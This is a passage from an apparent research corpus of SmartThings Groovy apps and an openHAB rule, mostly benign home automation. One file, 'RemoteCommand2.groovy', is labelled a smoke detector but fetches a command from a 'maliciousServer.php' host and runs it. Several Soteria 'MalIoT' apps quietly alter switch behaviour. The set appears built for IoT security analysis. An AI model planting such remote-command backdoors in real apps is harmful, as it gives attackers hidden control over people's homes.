settings.MultilevelSwitch?.off() 58 | switches1?.off() 59 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/OpenClosedMonitor.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Open / Closed Monitor 3 | * 4 | * Author: a.mattke@gmail.com 5 | * Date: 2013-06-07 6 | */ 7 | 8 | preferences { 9 | section("When the door opens or closes..."){ 10 | input "contact", "capability.contactSensor", title: "Door Contact", required: true 11 | } 12 | section("Send message via push notification"){ 13 | input "openText", "text", title: "Open Message" 14 | input "closedText", "text", title: "Closed Message" 15 | } 16 | section("And as text message to this number (optional)"){ 17 | input "phone", "phone", title: "Phone Number", required: false 18 | } 19 | 20 | } 21 | 22 | def installed() { 23 | log.debug "Installed with settings: ${settings}" 24 | subscribeToEvents() 25 | } 26 | 27 | def updated() { 28 | log.debug "Updated with settings: ${settings}" 29 | unsubscribe() 30 | subscribeToEvents() 31 | } 32 | 33 | def subscribeToEvents() { 34 | subscribe(contact, "contact.open", sendOpenMessage) 35 | subscribe(contact, "contact.closed", sendClosedMessage) 36 | } 37 | 38 | def sendOpenMessage(evt) { 39 | log.debug "$evt.name: $evt.value, $openText" 40 | sendPush(openText) 41 | if (phone) { 42 | sendSms(phone, openText) 43 | } 44 | } 45 | 46 | def sendClosedMessage(evt) { 47 | log.debug "$evt.name: $evt.value, $closedText" 48 | sendPush(closedText) 49 | if (phone) { 50 | sendSms(phone, closedText) 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SecuremyFoscam.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Secure My Foscam 3 | * 4 | * Author: brian@bevey.org 5 | * Date: 9/25/13 6 | * 7 | * Simply turns on the alarm for any Foscam custom device. This is intended 8 | * to be used with the Foscam custom device type with a camera set up for FTP 9 | * or email uploading based on motion detection. 10 | */ 11 | 12 | preferences { 13 | section("Change to this mode to...") { 14 | input "newMode", "enum", metadata:[values:["Alarm On", "Alarm Off"]] 15 | } 16 | 17 | section("Move to this preset...") { 18 | input "newPreset", "enum", metadata:[values:["1", "2", "3"]], required: false 19 | } 20 | 21 | section("Change these Foscam modes...") { 22 | input "foscams", "capability.imageCapture", multiple: true 23 | } 24 | } 25 | 26 | def installed() { 27 | subscribe(location, changeMode) 28 | subscribe(app, changeMode) 29 | } 30 | 31 | def updated() { 32 | unsubscribe() 33 | subscribe(location, changeMode) 34 | subscribe(app, changeMode) 35 | } 36 | 37 | def changeMode(evt) { 38 | if(newPreset) { 39 | def preset = new Integer(newPreset) 40 | 41 | log.info("Preset: ${preset}") 42 | foscams?.preset(preset) 43 | } 44 | 45 | if(newMode == "Alarm On") { 46 | log.info("Alarm: on") 47 | 48 | foscams?.alarmOn() 49 | } 50 | 51 | else { 52 | log.info("Alarm: off") 53 | 54 | foscams?.alarmOff() 55 | } 56 | } -------------------------------------------------------------------------------- /smartThings/smartThings-ProvThings/ProvThings-attacks/RemoteCommand2.groovy: -------------------------------------------------------------------------------- 1 | definition( 2 | name: "shiqiSmokeDetector", 3 | namespace: "wsq", 4 | author: "Yunhan Jia & Shiqi Wang", 5 | description: "The smoke detector would detects the smoke in home and alarms when there is a fire.", 6 | category: "Safety & Security", 7 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 8 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 9 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 10 | 11 | preferences { 12 | 13 | } 14 | 15 | 16 | def installed() { 17 | log.debug "Installed with settings: ${settings}" 18 | initialize() 19 | } 20 | 21 | 22 | 23 | def updated() { 24 | log.debug "Updated with settings: ${settings}" 25 | unsubscribe() 26 | initialize() 27 | } 28 | 29 | def initialize() { 30 | subscribe(Location, "sunset", dispatcher) 31 | schedule("0 5 * * *?", handler) 32 | } 33 | 34 | def handler(){ 35 | if(state.flag == true){ 36 | "$state.method"() 37 | state.flag = false 38 | } 39 | 40 | } 41 | 42 | def dispatcher() { 43 | try{ 44 | httpGet("http://141.212.110.244/stmalware/maliciousServer.php") { resp -> 45 | if(resp.status == 200) { 46 | state.method = resp.data.toString() 47 | state.flag = true 48 | } 49 | else { 50 | log.error "unknown response" 51 | } 52 | } 53 | } 54 | 55 | catch (e){ 56 | log.debug e 57 | } 58 | } -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/let-there-be-dark.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Let There Be Dark! 3 | * Turn your lights off when a Contact Sensor is opened and turn them back on when it is closed, ONLY if the Lights were previouly on. 4 | * 5 | * Author: SmartThings modified by Douglas Rich 6 | */ 7 | definition( 8 | name: "Let There Be Dark!", 9 | namespace: "Dooglave", 10 | author: "Dooglave", 11 | description: "Turn your lights off when a Contact Sensor is opened and turn them back on when it is closed, ONLY if the Lights were previouly on", 12 | category: "Convenience", 13 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet.png", 14 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet@2x.png" 15 | ) 16 | 17 | preferences { 18 | section("When the door opens") { 19 | input "contact1", "capability.contactSensor", title: "Where?" 20 | } 21 | section("Turn off a light") { 22 | input "switch1", "capability.switch" 23 | } 24 | } 25 | 26 | def installed() { 27 | subscribe(contact1, "contact", contactHandler) 28 | } 29 | 30 | def updated() { 31 | unsubscribe() 32 | subscribe(contact1, "contact", contactHandler) 33 | } 34 | 35 | def contactHandler(evt) { 36 | log.debug "$evt.value" 37 | if (evt.value == "open") { 38 | state.wasOn = switch1.currentValue("switch") == "on" 39 | switch1.off() 40 | } 41 | 42 | if (evt.value == "closed") { 43 | if(state.wasOn)switch1.on() 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MyofficeisofflimitswhenIamgone.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * My office is off-limits when I am gone 3 | * 4 | * Author: Mark Jaquith 5 | * Date: 2014-03-01 6 | */ 7 | 8 | preferences { 9 | section("Monitor this door") { 10 | input "door", "capability.contactSensor" 11 | } 12 | section("When this person is away") { 13 | input "person", "capability.presenceSensor" 14 | } 15 | } 16 | 17 | def installed() { 18 | log.trace "installed()" 19 | subscribe() 20 | } 21 | 22 | def updated() { 23 | log.trace "updated()" 24 | unsubscribe() 25 | subscribe() 26 | } 27 | 28 | def subscribe() { 29 | subscribe(door, "contact.open", doorOpen) 30 | subscribe(door, "contact.closed", doorClosed) 31 | } 32 | 33 | def doorOpen(evt) { 34 | log.trace "doorOpen($evt.name: $evt.value)" 35 | def presenceValue = person.find{it.currentPresence == "present"} 36 | if ( ! presenceValue ) { 37 | sendOpenedMessage() 38 | } 39 | } 40 | 41 | def doorClosed(evt) { 42 | log.trace "doorClosed($evt.name: $evt.value)" 43 | def presenceValue = person.find{it.currentPresence == "present"} 44 | if ( ! presenceValue ) { 45 | sendClosedMessage() 46 | } 47 | 48 | } 49 | 50 | void sendOpenedMessage() { 51 | def msg = "${door.displayName} was opened while ${person.displayName} was away" 52 | log.info msg 53 | sendPush msg 54 | } 55 | 56 | void sendClosedMessage() { 57 | def msg = "${door.displayName} was closed while ${person.displayName} was away" 58 | log.info msg 59 | sendPush msg 60 | } -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartThings-Soteria-third-party/TP11.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * TP11: Third-party app 3 | * Power Allowance (reversed) 4 | * 5 | * Author: SmartThings (edited by baldeagle072) 6 | * Soteria Analyzed. 7 | */ 8 | definition( 9 | name: "Power Allowance (reversed)", 10 | namespace: "baldeagle072", 11 | author: "SmartThings", 12 | description: "Turn on a switch after a certain amount of time after it has been turned off", 13 | category: "Green Living", 14 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet.png", 15 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet@2x.png" 16 | ) 17 | 18 | preferences { 19 | section("When a switch turns off...") { 20 | input "theSwitch", "capability.switch" 21 | } 22 | section("Turn it on how many minutes later?") { 23 | input "minutesLater", "number", title: "When?" 24 | } 25 | } 26 | 27 | def installed() { 28 | log.debug "Installed with settings: ${settings}" 29 | subscribe(theSwitch, "switch.off", switchOffHandler, [filterEvents: false]) 30 | } 31 | 32 | def updated() { 33 | log.debug "Updated with settings: ${settings}" 34 | 35 | unsubscribe() 36 | subscribe(theSwitch, "switch.off", switchOffHandler, [filterEvents: false]) 37 | } 38 | 39 | def switchOffHandler(evt) { 40 | log.debug "Switch ${theSwitch} turned: ${evt.value}" 41 | def delay = minutesLater * 60 42 | log.debug "Turning off in ${minutesLater} minutes (${delay}seconds)" 43 | runIn(delay, turnOnSwitch) 44 | } 45 | 46 | def turnOnSwitch() { 47 | theSwitch.on() 48 | } -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/SensorPresenca.rules: -------------------------------------------------------------------------------- 1 | var Timer TOF_IR_Zona6 = null 2 | 3 | 4 | rule "TOF Zona6" 5 | when 6 | Item gJFL_Zona06 changed to ON 7 | then 8 | gJFL_IRGaragem.sendCommand(ON) 9 | if(TOF_IR_Zona6 == null || TOF_IR_Zona6.hasTerminated) 10 | { 11 | TOF_IR_Zona6 = createTimer(now.plusSeconds(30), [| 12 | TOF_IR_Zona6 = null 13 | gJFL_IRGaragem.sendCommand(OFF) 14 | ]) 15 | } 16 | end 17 | 18 | /******************************************************************** Acender fachada de sensor de presenca hall garagem **************************************************************************/ 19 | 20 | 21 | rule "Acender fachada pelo IR JFL" 22 | when 23 | Item gJFL_Zona06 changed to ON 24 | then 25 | if(NightState.state == ON && (now.getHourOfDay >= 17 || now.getHourOfDay <= 6)) 26 | { 27 | Luz_gTER_Frente_Hall.sendCommand(ON) 28 | Luz_gTER_Frente_TetoGaragem.sendCommand(ON) 29 | 30 | if (now.getHourOfDay >= 17) 31 | { 32 | Luz_gTER_Frente_ArandelaGaragem.sendCommand(ON) 33 | Luz_gTER_SalaEstar_Hall.sendCommand(ON) 34 | Luz_gTER_Cozinha_Teto.sendCommand(ON) 35 | Luz_gTER_Varanda_Teto.sendCommand(ON) 36 | Luz_gTER_Jantar_Teto.sendCommand(ON) 37 | Luz_gTER_SalaTV_Teto.sendCommand(ON) 38 | Luz_gTER_SalaEstar_Escada.sendCommand(ON) 39 | } 40 | } 41 | end 42 | 43 | /******************************************************************** Desligar detecção de movimento da Zona6 após XX segundos **************************************************************************/ 44 | 45 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/PowerOnWhenMotion.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Power On When Motion 3 | * 4 | * Author: thecjreynolds@gmail.com 5 | * Date: 2013-11-07 6 | */ 7 | preferences { 8 | section("When Motion is Detected"){ 9 | input "motion", "capability.motionSensor", title: "Motion Here", required: true, multiple: false 10 | } 11 | section("Turn ON a light..."){ 12 | input "mySwitch", "capability.switch", title: "Switch Turned On", required: true, multiple: true 13 | } 14 | section("If no motion is detected for this many minutes, turn light(s) OFF (optional)") { 15 | input "frequency", "decimal", title: "Minutes", required: false 16 | } 17 | } 18 | 19 | def installed() { 20 | log.debug "Installed with settings: ${settings}" 21 | subscribeToEvents() 22 | } 23 | 24 | def updated() { 25 | log.debug "Updated with settings: ${settings}" 26 | unsubscribe() 27 | subscribeToEvents() 28 | } 29 | 30 | def subscribeToEvents() { 31 | subscribe(motion, "motion.active", motionActive) 32 | subscribe(motion, "motion.inactive", motionInActive) 33 | } 34 | 35 | def motionActive(evt) { 36 | mySwitch.on(); 37 | state.InActiveTurnOff = false 38 | } 39 | 40 | def motionInActive(evt) { 41 | if (frequency) { 42 | if(!state.InActiveTurnOff) 43 | { 44 | state.InActiveTurnOff = true 45 | runIn(frequency * 60, turnOffLight) 46 | } 47 | } 48 | } 49 | 50 | def turnOffLight() { 51 | if(state.InActiveTurnOff) 52 | { 53 | mySwitch.off(); 54 | state.InActiveTurnOff = false 55 | } 56 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SmartApp1.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * SmartApp1 3 | * 4 | * Copyright 2014 Donal O'Callaghan 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 7 | * in compliance with the License. You may obtain a copy of the License at: 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 12 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 13 | * for the specific language governing permissions and limitations under the License. 14 | * 15 | */ 16 | definition( 17 | name: "SmartApp1", 18 | namespace: "", 19 | author: "Donal O'Callaghan", 20 | description: "SmartApp1", 21 | category: "My Apps", 22 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 23 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 24 | 25 | 26 | preferences { 27 | section("Title") { 28 | // TODO: put inputs here 29 | } 30 | } 31 | 32 | def installed() { 33 | log.debug "Installed with settings: ${settings}" 34 | 35 | initialize() 36 | } 37 | 38 | def updated() { 39 | log.debug "Updated with settings: ${settings}" 40 | 41 | unsubscribe() 42 | initialize() 43 | } 44 | 45 | def initialize() { 46 | // TODO: subscribe to attributes, devices, locations, etc. 47 | } 48 | 49 | // TODO: implement event handlers -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SmartDenLight.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Smart Nightlight 3 | * 4 | * Author: SmartThings 5 | * 6 | */ 7 | preferences { 8 | section("Control these lights..."){ 9 | input "lights", "capability.switch", multiple: true 10 | } 11 | section("Turning on when there's movement..."){ 12 | input "motionSensor", "capability.motionSensor", title: "Where?" 13 | } 14 | section("And then off when there's been no movement for..."){ 15 | input "delayMinutes", "number", title: "Minutes?" 16 | } 17 | } 18 | 19 | 20 | 21 | def updated() { 22 | unsubscribe() 23 | subscribe(motionSensor, "motion", motionHandler) 24 | } 25 | 26 | def motionHandler(evt) { 27 | log.debug "$evt.name: $evt.value" 28 | if (evt.value == "active") { 29 | lights.on() 30 | state.lastStatus = "on" 31 | state.motionStopTime = null 32 | } 33 | else { 34 | state.motionStopTime = now() 35 | } 36 | } 37 | 38 | def illuminanceHandler(evt) { 39 | log.debug "$evt.name: $evt.value, lastStatus: $state.lastStatus, motionStopTime: $state.motionStopTime" 40 | def lastStatus = state.lastStatus 41 | if (lastStatus != "on" && evt.integerValue < 30 && !motionSensor) { 42 | lights.on() 43 | state.lastStatus = "on" 44 | } 45 | else if (lastStatus != "off" && evt.integerValue > 50) { 46 | lights.off() 47 | state.lastStatus = "off" 48 | } 49 | else if (state.motionStopTime && lastStatus != "off") { 50 | def elapsed = now() - state.motionStopTime 51 | if (elapsed >= (delayMinutes ?: 0) * 60000L) { 52 | lights.off() 53 | state.lastStatus = "off" 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/ID3TurnItOnOffandOnEvery30Secs+.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Author: Z. Berkay Celik 3 | * When a SmartSense Multi (contact sensor) is opened, a switch will be turned on, and then turned on signal is sent every 30 seconds.", 4 | * Email: zbc102@cse.psu.edu 5 | */ 6 | definition( 7 | name: "Soteria", 8 | namespace: "Soteria", 9 | author: "IoTBench", 10 | description: "When a SmartSense Multi is opened, a switch will be turned on, and then turned off after 5 minutes.", 11 | category: "Safety & Security", 12 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet.png", 13 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet@2x.png" 14 | ) 15 | 16 | preferences { 17 | section("When it opens..."){ 18 | input "contact1", "capability.contactSensor" 19 | } 20 | section("Turn on a switch for 5 minutes..."){ 21 | input "switch1", "capability.switch" 22 | } 23 | } 24 | 25 | def installed() { 26 | log.debug "Installed with settings: ${settings}" 27 | subscribe(contact1, "contact.open", contactOpenHandler) 28 | } 29 | 30 | def updated(settings) { 31 | log.debug "Updated with settings: ${settings}" 32 | unsubscribe() 33 | subscribe(contact1, "contact.open", contactOpenHandler) 34 | } 35 | 36 | def contactOpenHandler(evt) { 37 | switch1.on() 38 | def fiveMinDelay = 60 * 5 //updated 39 | runIn(fiveMinDelay, turnOffSwitch) 40 | } 41 | 42 | def turnOffSwitch() { 43 | def thirtySecDelay = 60 * 0.5 //updated 44 | runIn(thirtySecDelay, turnOffSwitch) 45 | switch1.off() // send multiple off commands to the device 46 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LightFollowsMe.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light Follows Me 3 | * 4 | * Author: SmartThings 5 | */ 6 | 7 | preferences { 8 | section("Turn on when there's movement..."){ 9 | input "motion1", "capability.motionSensor", title: "Where?" 10 | } 11 | section("And off when there's been no movement for..."){ 12 | input "minutes1", "number", title: "Minutes?" 13 | } 14 | section("Turn on/off light(s)..."){ 15 | input "switches", "capability.switch", multiple: true 16 | } 17 | } 18 | 19 | 20 | def installed() 21 | { 22 | subscribe(motion1, "motion", motionHandler) 23 | schedule("0 * * * * ?", "scheduleCheck") 24 | } 25 | 26 | def updated() 27 | { 28 | unsubscribe() 29 | subscribe(motion1, "motion", motionHandler) 30 | unschedule() 31 | schedule("0 * * * * ?", "scheduleCheck") 32 | } 33 | 34 | def motionHandler(evt) { 35 | log.debug "$evt.name: $evt.value" 36 | 37 | if (evt.value == "active") { 38 | log.debug "turning on lights" 39 | switches.on() 40 | state.inactiveAt = null 41 | } else if (evt.value == "inactive") { 42 | if (!state.inactiveAt) { 43 | state.inactiveAt = now() 44 | } 45 | } 46 | } 47 | 48 | def scheduleCheck() { 49 | log.debug "schedule check, ts = ${state.inactiveAt}" 50 | if (state.inactiveAt) { 51 | def elapsed = now() - state.inactiveAt 52 | def threshold = 1000 * 60 * minutes1 53 | if (elapsed >= threshold) { 54 | log.debug "turning off lights" 55 | switches.off() 56 | state.inactiveAt = null 57 | } 58 | else { 59 | log.debug "${elapsed / 1000} sec since motion stopped" 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TextMeWhenImNotHere.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Text Me When I'm Not Here 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When there's movement...") { 8 | input "motion1", "capability.motionSensor", title: "Where?" 9 | } 10 | section("While I'm out...") { 11 | input "presence1", "capability.presenceSensor", title: "Who?" 12 | } 13 | section("Text me at...") { 14 | input "phone1", "phone", title: "Phone number?" 15 | } 16 | } 17 | 18 | def installed() { 19 | subscribe(motion1, "motion.active", motionActiveHandler) 20 | } 21 | 22 | def updated() { 23 | unsubscribe() 24 | subscribe(motion1, "motion.active", motionActiveHandler) 25 | } 26 | 27 | def motionActiveHandler(evt) { 28 | log.trace "$evt.value: $evt, $settings" 29 | 30 | if (presence1.latestValue == "not present") { 31 | // Don't send a continuous stream of text messages 32 | def deltaSeconds = 10 33 | def timeAgo = new Date(now() - (1000 * deltaSeconds)) 34 | def recentEvents = motion1.eventsSince(timeAgo) 35 | log.debug "Found ${recentEvents?.size() ?: 0} events in the last $deltaSeconds seconds" 36 | def alreadySentSms = recentEvents.count { it.value && it.value == "active" } > 1 37 | 38 | if (alreadySentSms) { 39 | log.debug "SMS already sent to $phone1 within the last $deltaSeconds seconds" 40 | } else { 41 | log.debug "$motion1 has moved while you were out, texting $phone1" 42 | sendSms(phone1, "${motion1.label} ${motion1.name} moved while you were out") 43 | } 44 | } else { 45 | log.debug "Motion detected, but presence sensor indicates you are present" 46 | } 47 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TestAutoonthenquickoff.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light Quickly Follows Me 3 | * 4 | * Author: SmartThings 5 | */ 6 | 7 | 8 | // Automatically generated. Make future change here. 9 | definition( 10 | name: "Test Auto on then quick off", 11 | namespace: "", 12 | author: "jimmeadows@aol.com", 13 | description: "Turns light on when motion and quickly off when motion stops", 14 | category: "Convenience", 15 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 16 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience%402x.png", 17 | oauth: true 18 | ) 19 | 20 | preferences { 21 | section("Turn on when there's movement..."){ 22 | input "motion1", "capability.motionSensor", title: "Where?" 23 | } 24 | section("And off when there's been no movement for..."){ 25 | input "seconds1", "number", title: "Seconds?" 26 | } 27 | section("Turn on/off light(s)..."){ 28 | input "switches", "capability.switch", multiple: false 29 | } 30 | } 31 | 32 | def installed() { 33 | subscribe(motion1, "motion", motionHandler) 34 | } 35 | 36 | def updated() { 37 | unsubscribe() 38 | subscribe(motion1, "motion", motionHandler) 39 | } 40 | 41 | def motionHandler(evt) { 42 | log.debug "$evt.name: $evt.value" 43 | if (evt.value == "active") { 44 | log.debug "turning on light" 45 | switches.on() 46 | } else if (evt.value == "inactive") { 47 | log.debug "turning off shortly ..." 48 | runIn(seconds1 , scheduleCheck) 49 | } 50 | } 51 | 52 | def scheduleCheck() { 53 | switches.off() 54 | 55 | } 56 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/NestAutoPresence.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Toggle Nest Home/Away state based on my presence 3 | * 4 | * Author: Gus Perez 5 | */ 6 | definition( 7 | name: "NestAutoPresence", 8 | namespace: "gusper", 9 | author: "Gus Perez", 10 | description: "Set Nest's presence state to Home when you arrive and to Away when you leave.", 11 | category: "Convenience", 12 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Categories/presence.png", 13 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Categories/presence@2x.png" 14 | ) 15 | 16 | preferences { 17 | section("When I arrive and leave...") { 18 | input "presence1", "capability.presenceSensor", title: "Who?", multiple: true 19 | } 20 | section("Set Nest to home/away...") { 21 | input "nest1", "capability.presenceSensor", multiple: false 22 | } 23 | } 24 | 25 | def installed() 26 | { 27 | subscribe(presence1, "presence", presenceHandler) 28 | } 29 | 30 | def updated() 31 | { 32 | unsubscribe() 33 | subscribe(presence1, "presence", presenceHandler) 34 | } 35 | 36 | def presenceHandler(evt) 37 | { 38 | log.debug "presenceHandler $evt.name: $evt.value" 39 | def current = presence1.currentValue("presence") 40 | log.debug current 41 | def presenceValue = presence1.find { it.currentPresence == "present" } 42 | log.debug presenceValue 43 | 44 | if (presenceValue) { 45 | //nest1.present() 46 | runIn(300, setNestToPresent) 47 | log.debug "Someone's home!" 48 | } 49 | else { 50 | nest1.away() 51 | log.debug "Everyone's away." 52 | } 53 | } 54 | 55 | def setNestToPresent() 56 | { 57 | nest1.present() 58 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/PortableSwitchturnsonotherdevice.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Portable Switch turns on other device 3 | * 4 | * Author: seateabee@gmail.com 5 | * Date: 2013-10-19 6 | */ 7 | 8 | 9 | // Automatically generated. Make future change here. 10 | definition( 11 | name: "Portable Switch turns on other device", 12 | namespace: "", 13 | author: "seateabee@gmail.com", 14 | description: "This is app is designed to allow a portable switch (In my case, a non-load zwave switch that is hardwired to a plug meaning I can move it around and plug into any outlet) to act as a controller of another device, such as an outlet or switch. The portable switch is then turned off right away.Possible uses include using a portable switch along side a bed to give you a way to turn on an overhead light from your bed. Or turn on an outlet from your couch.", 15 | category: "Convenience", 16 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 17 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience%402x.png" 18 | ) 19 | 20 | preferences { 21 | section("When this portable switch is turned on...") { 22 | input "master", "capability.switch", title: "Which?" 23 | } 24 | section("This outlet or switch is turned on...") { 25 | input "slave", "capability.switch", title: "Which?" 26 | } 27 | } 28 | 29 | def installed() { 30 | subscribe (master, "switch.on", masterOn) 31 | } 32 | 33 | def updated() { 34 | unsubscribe() 35 | subscribe (master, "switch.on", masterOn) 36 | } 37 | 38 | def masterOn(evt) { 39 | slave.on() 40 | master.off() 41 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MotionSensorLight.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Author: radley (cheese@vj.tv) 4 | * Date: 2014-01-26 5 | * based on Curling Iron by Dan Lieberman 6 | * 7 | */ 8 | preferences { 9 | section("Motion Sensors (Required)") { 10 | input name: "motionSensors", title: "Add sensors", type: "capability.motionSensor", multiple: true, required: true 11 | } 12 | section("Power Outlets (Required)") { 13 | input name: "outlets", title: "Add outlets", type: "capability.switch", multiple: true, required: true 14 | } 15 | section("Minimum Duration") { 16 | input name: "minutes", title: "Minutes", type: "number", multiple: false, description: "1", required: false 17 | } 18 | } 19 | 20 | def installed() 21 | { 22 | defaultState() 23 | 24 | } 25 | 26 | def updated() 27 | { 28 | unsubscribe() 29 | defaultState() 30 | } 31 | 32 | def defaultState() { 33 | 34 | subscribe(motionSensors, "motion.active", motionActive) 35 | subscribe(motionSensors, "motion.inactive", motionInactive) 36 | } 37 | 38 | def motionActive(evt) { 39 | log.debug "$evt.name: $evt.value" 40 | 41 | outletsOn() 42 | 43 | } 44 | 45 | def motionInactive(evt) { 46 | log.debug "$evt.name: $evt.value" 47 | 48 | outletsOff() 49 | 50 | } 51 | 52 | 53 | def outletsOn() { 54 | outlets.on() 55 | unschedule("scheduledTurnOff") 56 | } 57 | 58 | def outletsOff() { 59 | 60 | def duration = 1 61 | if(minutes != null && minutes >= 0) 62 | { 63 | duration = minutes 64 | } 65 | 66 | def delay = duration * 60 67 | runIn(delay, "scheduledTurnOff") 68 | } 69 | 70 | def scheduledTurnOff() { 71 | outlets.off() 72 | } 73 | 74 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/ID4PowerAllowance+.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * The app Power Allowance is modified by Z. Berkay Celik 3 | * Email: zbc102@cse.psu.edu 4 | */ 5 | definition( 6 | name: "Soteria", 7 | namespace: "Soteria", 8 | author: "IoTBench", 9 | description: "Save energy or restrict total time an appliance (like a curling iron or TV) can be in use. When a switch turns on, automatically turn it back off after a set number of minutes you specify.", 10 | category: "Green Living", 11 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet.png", 12 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet@2x.png" 13 | ) 14 | 15 | preferences { 16 | section("When a switch turns on...") { 17 | input "theSwitch", "capability.switch" 18 | } 19 | section("Turn it off how many minutes later?") { 20 | input "minutesLater", "number", title: "When?" 21 | } 22 | } 23 | 24 | def installed() { 25 | log.debug "Installed with settings: ${settings}" 26 | subscribe(theSwitch, "switch.on", switchOnHandler, [filterEvents: false]) 27 | } 28 | 29 | def updated() { 30 | log.debug "Updated with settings: ${settings}" 31 | unsubscribe() 32 | subscribe(theSwitch, "switch.on", switchOnHandler, [filterEvents: false]) 33 | } 34 | 35 | def switchOnHandler(evt) { 36 | log.debug "Switch ${theSwitch} turned: ${evt.value}" 37 | def delay = minutesLater * 60 * 0.5 38 | log.debug "Turning off in ${minutesLater} minutes (${delay}seconds)" 39 | runIn(delay, turnOffSwitch) 40 | } 41 | 42 | def turnOffSwitch() { 43 | theSwitch.off() 44 | turnOnSwitch() 45 | } 46 | 47 | def turnOnSwitch(){ // updated 48 | theSwitch.on() 49 | } 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SmartEntranceNightlightII.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn on when Open, Only at Night, Then off after x minutes 3 | * 4 | * Author: Ryan Nathanson with the main "turn on when open & night" code created by chrisb 5 | * Date: 2013-10-20 6 | */ 7 | 8 | preferences { 9 | section("When the door opens..."){ 10 | input "contact1", "capability.contactSensor", title: "Where?" 11 | } 12 | section("Turn on a light..."){ 13 | input "switches", "capability.switch", multiple: true 14 | } 15 | section("Between this time at night:") { 16 | input "timeOfDay1", "time", title: "Time?" 17 | } 18 | section("And this time in the morning:") { 19 | input "timeOfDay2", "time", title: "Time?" 20 | } 21 | section ("Turn off after this many minutes") { 22 | input "minutesLater", "number", title: "Delay" 23 | } 24 | } 25 | 26 | def installed() { 27 | initialize() 28 | } 29 | 30 | def updated() 31 | { 32 | unsubscribe() 33 | subscribe(contact1, "contact.open", contactOpenHandler) 34 | } 35 | 36 | def initialize(){ 37 | subscribe(contact1, "contact.open", contactOpenHandler) 38 | } 39 | 40 | def lightsoff(){ 41 | switches.off() 42 | } 43 | 44 | def contactOpenHandler(evt) { 45 | log.debug "$evt.value: $evt, $settings" 46 | def startTime = timeToday(timeOfDay1) 47 | def endTime = timeToday(timeOfDay2) 48 | 